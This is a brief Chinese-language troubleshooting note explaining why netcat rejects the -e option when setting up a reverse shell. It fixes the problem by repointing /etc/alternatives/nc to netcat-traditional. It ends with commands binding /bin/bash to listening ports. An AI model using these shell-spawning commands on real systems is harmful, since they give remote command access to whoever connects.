nc反彈shell的時候出現錯誤
nc: invalid option — ‘e’
This is nc from the netcat-openbsd package. An alternative nc is available
in the netcat-traditional package.
以下是修復思路
$ which nc
/bin/nc
$ ls -ld /bin/nc
lrwxrwxrwx 1 root root 20 10月 24 2012 /bin/nc -> /etc/alternatives/nc
$ ls -ld /etc/alternatives/nc
lrwxrwxrwx 1 root root 19 2月 13 10:03 /etc/alternatives/nc -> /bin/nc.traditional
實際上我們要找的這是個文件 /bin/nc.traditional :
$ /bin/nc.openbsd -l -p 9999 -e /bin/bash
/bin/nc.openbsd: invalid option -- 'e'
usage: nc [-46DdhklnrStUuvzC] [-i interval] [-P proxy_username] [-p source_port]
[-s source_ip_address] [-T ToS] [-w timeout] [-X proxy_protocol]
[-x proxy_address[:port]] [hostname] [port[s]]
$ /bin/nc.traditional -l -p 9999 -e /bin/bash
^C
$
結合以上的輸出消息,我們可以通過下面這段命令修復:
$ sudo rm /etc/alternatives/nc && sudo ln -s /bin/nc.traditional /etc/alternatives/nc
修復後再試試,沒錯誤提示就shell反彈成功!
$ nc -l 192.168.2.180 -p 12345 -e /bin/bash